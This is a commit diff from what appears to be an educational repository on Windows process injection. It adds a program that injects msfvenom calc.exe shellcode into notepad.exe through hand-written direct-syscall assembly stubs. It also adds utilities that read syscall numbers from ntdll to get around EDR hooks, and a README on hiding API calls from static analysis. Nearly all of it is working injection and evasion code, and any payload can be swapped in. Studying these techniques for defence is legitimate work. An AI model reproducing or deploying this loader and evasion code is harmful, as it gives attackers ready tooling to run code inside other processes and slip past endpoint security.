mirror of
https://github.com/toneillcodes/windows-process-injection
synced 2026-06-21 14:11:25 +00:00
Updating PEB/EAT code, adding syscall examples and snippets
This commit is contained in:
@@ -10,9 +10,9 @@ A collection of examples intended to demonstrate the fundamentals and provide a
|
|||||||
* [injection-example-4.cpp](https://github.com/toneillcodes/windows-process-injection/blob/main/fundamentals/injection-example-4.cpp): injecting calc.exe msfvenom shellcode into a remote process, with memory protection toggling and using dynamic function resolution
|
* [injection-example-4.cpp](https://github.com/toneillcodes/windows-process-injection/blob/main/fundamentals/injection-example-4.cpp): injecting calc.exe msfvenom shellcode into a remote process, with memory protection toggling and using dynamic function resolution
|
||||||
|
|
||||||
## Techniques
|
## Techniques
|
||||||
* [Dynamic Function Resolution]()
|
* [Dynamic Function Resolution](dynamic-function-resolution\README.md)
|
||||||
* [Module Stomping]
|
* [Module Stomping](module-stomping\README.md)
|
||||||
* [Walking the PEB and EAT]
|
* [Walking the PEB and EAT](walking-peb-eat\README.md)
|
||||||
* [Direct Syscalls]
|
* [Direct Syscalls](direct-syscalls\README.md)
|
||||||
* [Indirect Syscalls]
|
* [Indirect Syscalls](indirect-syscalls\README.md)
|
||||||
* [Thread Pool Injection]
|
* [Thread Pool Injection](thread-pool-injection\README.md)
|
||||||
@@ -0,0 +1,112 @@
|
|||||||
|
/*
|
||||||
|
* ml64.exe /c direct-syscalls.asm
|
||||||
|
* cl.exe direct-syscalls-ex.cpp ps-utils.cpp syscall-utils.cpp direct-syscalls.obj /Fe:direct-syscalls.exe
|
||||||
|
*/
|
||||||
|
#include <stdio.h>
|
||||||
|
#include "syscall-utils.h"
|
||||||
|
#include "ps-utils.h"
|
||||||
|
|
||||||
|
extern "C" {
|
||||||
|
// https://ntdoc.m417z.com/NtAllocateVirtualMemory
|
||||||
|
NTSTATUS SysNtAllocateVirtualMemory(
|
||||||
|
HANDLE ProcessHandle,
|
||||||
|
PVOID* BaseAddress,
|
||||||
|
ULONG_PTR ZeroBits,
|
||||||
|
PSIZE_T RegionSize,
|
||||||
|
ULONG AllocationType,
|
||||||
|
ULONG Protect
|
||||||
|
);
|
||||||
|
|
||||||
|
// https://ntdoc.m417z.com/NtWriteVirtualMemory
|
||||||
|
NTSTATUS SysNtWriteVirtualMemory(
|
||||||
|
HANDLE ProcessHandle,
|
||||||
|
PVOID BaseAddress,
|
||||||
|
PVOID Buffer,
|
||||||
|
SIZE_T NumberOfBytesToWrite,
|
||||||
|
PSIZE_T NumberOfBytesWritten
|
||||||
|
);
|
||||||
|
|
||||||
|
// https://ntdoc.m417z.com/ntcreatethreadex
|
||||||
|
NTSTATUS SysNtCreateThreadEx(
|
||||||
|
PHANDLE ThreadHandle,
|
||||||
|
ACCESS_MASK DesiredAccess,
|
||||||
|
PVOID ObjectAttributes,
|
||||||
|
HANDLE ProcessHandle,
|
||||||
|
PVOID lpStartAddress,
|
||||||
|
PVOID lpParameter,
|
||||||
|
ULONG Flags,
|
||||||
|
SIZE_T StackZeroBits,
|
||||||
|
SIZE_T SizeOfStackCommit,
|
||||||
|
SIZE_T SizeOfStackReserve,
|
||||||
|
PVOID lpBytesBuffer
|
||||||
|
);
|
||||||
|
|
||||||
|
// https://ntdoc.m417z.com/NtWaitForSingleObject
|
||||||
|
NTSTATUS SysNtWaitForSingleObject(
|
||||||
|
HANDLE Handle,
|
||||||
|
BOOLEAN Alertable,
|
||||||
|
PLARGE_INTEGER Timeout
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char* argv[]) {
|
||||||
|
unsigned char buf[] =
|
||||||
|
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
|
||||||
|
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
|
||||||
|
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
|
||||||
|
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
|
||||||
|
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
|
||||||
|
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
|
||||||
|
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
|
||||||
|
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
|
||||||
|
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
|
||||||
|
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
|
||||||
|
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
|
||||||
|
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
|
||||||
|
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
|
||||||
|
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
|
||||||
|
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
|
||||||
|
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
|
||||||
|
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
|
||||||
|
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
|
||||||
|
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
|
||||||
|
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
|
||||||
|
|
||||||
|
DWORD pid = 0;
|
||||||
|
const wchar_t* processName = L"notepad.exe";
|
||||||
|
|
||||||
|
pid = FindPidByName(processName);
|
||||||
|
if (pid == 0) {
|
||||||
|
printf("[ERROR] Failed to obtain process ID!\n");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("[*] Running PI with target PID: %u\n", pid);
|
||||||
|
|
||||||
|
// Open a handle to the current process, this must be passed to VirtualAllocEx
|
||||||
|
HANDLE pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));
|
||||||
|
if (pHandle == NULL) {
|
||||||
|
printf("Failed to acquire process handle!\n");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("[*] Successfully opened handle to PID: %u\n", pid);
|
||||||
|
|
||||||
|
PVOID bufferAddress = NULL;
|
||||||
|
SIZE_T buffSize = sizeof(buf);
|
||||||
|
//SysNtAllocateVirtualMemory((HANDLE)-1, (PVOID*)&bufferAddress, (ULONG_PTR)0, &buffSize, (ULONG)(MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
|
||||||
|
SysNtAllocateVirtualMemory(pHandle, (PVOID*)&bufferAddress, (ULONG_PTR)0, &buffSize, (ULONG)(MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
|
||||||
|
|
||||||
|
SIZE_T bytesWritten;
|
||||||
|
//SysNtWriteVirtualMemory(GetCurrentProcess(), bufferAddress, buf, sizeof(buf), &bytesWritten);
|
||||||
|
SysNtWriteVirtualMemory(pHandle, bufferAddress, buf, sizeof(buf), &bytesWritten);
|
||||||
|
|
||||||
|
HANDLE hThread;
|
||||||
|
//SysNtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)bufferAddress, NULL, FALSE, 0, 0, 0, NULL);
|
||||||
|
SysNtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, pHandle, (LPTHREAD_START_ROUTINE)bufferAddress, NULL, FALSE, 0, 0, 0, NULL);
|
||||||
|
|
||||||
|
SysNtWaitForSingleObject(hThread, FALSE, NULL);
|
||||||
|
getchar();
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
@@ -0,0 +1,69 @@
|
|||||||
|
;
|
||||||
|
; Function: NtAllocateVirtualMemory
|
||||||
|
; SSN: 0x0018
|
||||||
|
;
|
||||||
|
; Function: NtWriteVirtualMemory
|
||||||
|
; SSN: 0x003A
|
||||||
|
;
|
||||||
|
; Function: NtCreateThreadEx
|
||||||
|
; SSN: 0x00BC
|
||||||
|
;
|
||||||
|
; Function: NtWaitForSingleObject
|
||||||
|
; SSN: 0x0004
|
||||||
|
;
|
||||||
|
|
||||||
|
.CODE
|
||||||
|
|
||||||
|
; --- NtAllocateVirtualMemory Wrapper ---
|
||||||
|
; This follows the x64 Calling Convention (Windows)
|
||||||
|
; Args: RCX, RDX, R8, R9, [Stack...]
|
||||||
|
|
||||||
|
SysNtAllocateVirtualMemory PROC
|
||||||
|
mov r10, rcx ; The 'syscall' instruction destroys RCX.
|
||||||
|
; We move the first argument (ProcessHandle) to R10
|
||||||
|
; because the kernel expects it there instead of RCX.
|
||||||
|
|
||||||
|
mov eax, 18h ; Load the System Service Number (SSN) into EAX.
|
||||||
|
; 0x18 is the ID for NtAllocateVirtualMemory on
|
||||||
|
; many Windows 10/11 x64 builds.
|
||||||
|
|
||||||
|
syscall ; Transfer control to the Windows Kernel.
|
||||||
|
; The CPU switches to Ring 0 and executes the function
|
||||||
|
; associated with the ID currently in EAX (0x18).
|
||||||
|
|
||||||
|
ret ; Return to the caller. The NTSTATUS result
|
||||||
|
; will be stored in the EAX register.
|
||||||
|
SysNtAllocateVirtualMemory ENDP
|
||||||
|
|
||||||
|
extern wNtAllocateVirtualMemorySSN : DWORD ; Variable defined in C++
|
||||||
|
|
||||||
|
;extern wNtAllocateVirtualMemorySSN : DWORD ; Variable defined in C++
|
||||||
|
;SysNtAllocateVirtualMemory PROC
|
||||||
|
; mov r10, rcx
|
||||||
|
; mov eax, wNtAllocateVirtualMemorySSN ; Load the dynamic SSN
|
||||||
|
; syscall
|
||||||
|
; ret
|
||||||
|
;SysNtAllocateVirtualMemory ENDP
|
||||||
|
|
||||||
|
SysNtWriteVirtualMemory PROC
|
||||||
|
mov r10, rcx
|
||||||
|
mov eax, 3Ah
|
||||||
|
syscall
|
||||||
|
ret
|
||||||
|
SysNtWriteVirtualMemory ENDP
|
||||||
|
|
||||||
|
SysNtCreateThreadEx PROC
|
||||||
|
mov r10, rcx
|
||||||
|
mov eax, 0BCh
|
||||||
|
syscall
|
||||||
|
ret
|
||||||
|
SysNtCreateThreadEx ENDP
|
||||||
|
|
||||||
|
SysNtWaitForSingleObject PROC
|
||||||
|
mov r10, rcx
|
||||||
|
mov eax, 4
|
||||||
|
syscall
|
||||||
|
ret
|
||||||
|
SysNtWaitForSingleObject ENDP
|
||||||
|
|
||||||
|
END
|
||||||
@@ -1,2 +1,27 @@
|
|||||||
# Dyanmic Function Resolution
|
# Dyanmic Function Resolution
|
||||||
Intended to hide functions from static analysis that evaluates strings and the IAT.
|
Intended to hide functions from static analysis that evaluates strings and the IAT.
|
||||||
|
|
||||||
|
## Overview
|
||||||
|
Define the prototype definition.
|
||||||
|
Use something that doesn't include the string you want to obfuscate.
|
||||||
|
P_VirtualAllocEx is used below along with 'myVirtualAllocEx' which are good for examples but horrible for OPSEC and defeats the purpose of DFR.
|
||||||
|
```
|
||||||
|
// https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
|
||||||
|
typedef LPVOID(WINAPI* P_VirtualAllocEx)(
|
||||||
|
HANDLE pHandle,
|
||||||
|
LPVOID lpAddress,
|
||||||
|
SIZE_T dwSize,
|
||||||
|
DWORD flAllocationType,
|
||||||
|
DWORD flProtect
|
||||||
|
);
|
||||||
|
```
|
||||||
|
|
||||||
|
Call GetProcAddress to resolve the address.
|
||||||
|
```
|
||||||
|
myVirtualAllocEx = (P_VirtualAllocEx)GetProcAddress(hKernel32, "VirtualAllocEx");
|
||||||
|
```
|
||||||
|
|
||||||
|
Invoke the function.
|
||||||
|
```
|
||||||
|
LPVOID bufferAddress = myVirtualAllocEx(pHandle, NULL, sizeof buf, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
|
||||||
|
```
|
||||||
@@ -1,8 +1,3 @@
|
|||||||
#include <stdio.h>
|
|
||||||
#include <windows.h>
|
|
||||||
#include <intrin.h> // Required for __readgsqword / __readfsdword
|
|
||||||
#include <winternl.h> // for peb data structure https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb
|
|
||||||
|
|
||||||
#include "peb-eat-utils.h"
|
#include "peb-eat-utils.h"
|
||||||
#include "utils.h"
|
#include "utils.h"
|
||||||
|
|
||||||
@@ -1,9 +1,11 @@
|
|||||||
#ifndef PEB_EAT_UTILS_H
|
#ifndef PEB_EAT_UTILS_H
|
||||||
#define PEB_EAT_UTILS_H
|
#define PEB_EAT_UTILS_H
|
||||||
|
|
||||||
#include <windows.h>
|
#include <stdio.h> // For IO operations
|
||||||
#include <winternl.h>
|
#include <windows.h> // For data structures, types, functions
|
||||||
#include <intrin.h>
|
|
||||||
|
#include <intrin.h> // Required for __readgsqword / __readfsdword
|
||||||
|
#include <winternl.h> // for peb data structure https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb
|
||||||
|
|
||||||
// Define missing NTSTATUS codes
|
// Define missing NTSTATUS codes
|
||||||
#ifndef STATUS_SUCCESS
|
#ifndef STATUS_SUCCESS
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
#include "ps-utils.h"
|
||||||
|
#include <tlhelp32.h>
|
||||||
|
#include <wchar.h>
|
||||||
|
|
||||||
|
extern "C" DWORD FindPidByName(const wchar_t* processName) {
|
||||||
|
DWORD pid = 0;
|
||||||
|
// Force the Wide-character version of the struct
|
||||||
|
PROCESSENTRY32W entry;
|
||||||
|
entry.dwSize = sizeof(PROCESSENTRY32W);
|
||||||
|
|
||||||
|
// Create a snapshot of the system processes
|
||||||
|
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||||
|
|
||||||
|
if (snapshot != INVALID_HANDLE_VALUE) {
|
||||||
|
// Force the Wide-character version of the API
|
||||||
|
if (Process32FirstW(snapshot, &entry)) {
|
||||||
|
do {
|
||||||
|
// Now both sides are Wide strings, so _wcsicmp works!
|
||||||
|
if (_wcsicmp(processName, entry.szExeFile) == 0) {
|
||||||
|
pid = entry.th32ProcessID;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
} while (Process32NextW(snapshot, &entry));
|
||||||
|
}
|
||||||
|
CloseHandle(snapshot);
|
||||||
|
}
|
||||||
|
return pid;
|
||||||
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
DWORD FindPidByName(const wchar_t* processName);
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,40 @@
|
|||||||
|
#include "syscall-utils.h"
|
||||||
|
|
||||||
|
extern "C" DWORD GetSSN(PVOID functionAddress) {
|
||||||
|
BYTE* ptr = (BYTE*)functionAddress;
|
||||||
|
|
||||||
|
/* We are looking for the 'mov eax, SSN' instruction.
|
||||||
|
The opcode is B8 (MOV EAX, imm32)
|
||||||
|
In most Windows stubs, it starts at the 4th byte:
|
||||||
|
4C 8B D1 B8 [SSN] 00 00 00
|
||||||
|
|
||||||
|
index 0: 4C 8B D1 (mov r10, rcx)
|
||||||
|
index 3: B8 <SSN> (mov eax, ...)
|
||||||
|
*/
|
||||||
|
if (ptr[3] == 0xB8) {
|
||||||
|
return *(DWORD*)(ptr + 4);
|
||||||
|
}
|
||||||
|
|
||||||
|
// If it's not at index 3, an EDR might have hooked it.
|
||||||
|
// We can search for the 0xB8 byte within the first few instructions.
|
||||||
|
for (int i = 0; i < 16; i++) {
|
||||||
|
if (ptr[i] == 0xB8) {
|
||||||
|
return *(DWORD*)(ptr + i + 1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Simplified logic to find the 'syscall' opcode (0x0F 0x05)
|
||||||
|
extern "C" PVOID GetSyscallAddress(PVOID functionAddress) {
|
||||||
|
BYTE* ptr = (BYTE*)functionAddress;
|
||||||
|
|
||||||
|
// Search the first 32 bytes of the function for the syscall instruction 0f 05
|
||||||
|
for (int i = 0; i < 32; i++) {
|
||||||
|
if (ptr[i] == 0x0F && ptr[i+1] == 0x05) {
|
||||||
|
return (PVOID)(ptr + i);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
@@ -0,0 +1,13 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
DWORD GetSSN(PVOID functionAddress);
|
||||||
|
PVOID GetSyscallAddress(PVOID functionAddress);
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
#include "syscall-utils.h"
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
HMODULE hModule = GetModuleHandleA("ntdll.dll");
|
||||||
|
PVOID funcAddress = GetProcAddress(hModule, "NtCreateThreadEx");
|
||||||
|
|
||||||
|
if (funcAddress) {
|
||||||
|
DWORD ssn = GetSSN(funcAddress);
|
||||||
|
PVOID sysAddr = GetSyscallAddress(funcAddress);
|
||||||
|
|
||||||
|
printf("Function: NtCreateThreadEx\n");
|
||||||
|
printf("SSN: 0x%04X\n", ssn);
|
||||||
|
printf("Syscall: 0x%p\n", sysAddr);
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
@@ -0,0 +1,33 @@
|
|||||||
|
.code
|
||||||
|
|
||||||
|
; extern "C" DWORD GetSSNFromAddress(PVOID funcAddr);
|
||||||
|
; Argument 'funcAddr' is in RCX
|
||||||
|
GetSSNFromAddress PROC
|
||||||
|
mov r8, rcx ; Copy function address to R8
|
||||||
|
xor rax, rax ; Clear RAX (our return value)
|
||||||
|
mov r9, 0 ; Counter for our search loop
|
||||||
|
|
||||||
|
search_loop:
|
||||||
|
; Check if we've searched too far (e.g., 32 bytes)
|
||||||
|
cmp r9, 32
|
||||||
|
je not_found
|
||||||
|
|
||||||
|
; Look for 0xB8 (mov eax, ...)
|
||||||
|
cmp byte ptr [r8 + r9], 0B8h
|
||||||
|
je found_ssn
|
||||||
|
|
||||||
|
inc r9
|
||||||
|
jmp search_loop
|
||||||
|
|
||||||
|
found_ssn:
|
||||||
|
; The SSN starts at the byte after 0xB8
|
||||||
|
inc r9
|
||||||
|
mov eax, dword ptr [r8 + r9]
|
||||||
|
ret
|
||||||
|
|
||||||
|
not_found:
|
||||||
|
xor eax, eax ; Return 0 if not found
|
||||||
|
ret
|
||||||
|
GetSSNFromAddress ENDP
|
||||||
|
|
||||||
|
END
|
||||||
@@ -7,8 +7,8 @@
|
|||||||
// for testing with MessageBoxA
|
// for testing with MessageBoxA
|
||||||
#pragma comment(lib, "user32.lib")
|
#pragma comment(lib, "user32.lib")
|
||||||
|
|
||||||
#include "../header-files/utils.h"
|
#include "utils.h"
|
||||||
#include "../header-files/peb-eat-utils.h"
|
#include "peb-eat-utils.h"
|
||||||
|
|
||||||
#define MAX_EXPORTED_FUNCS 25
|
#define MAX_EXPORTED_FUNCS 25
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user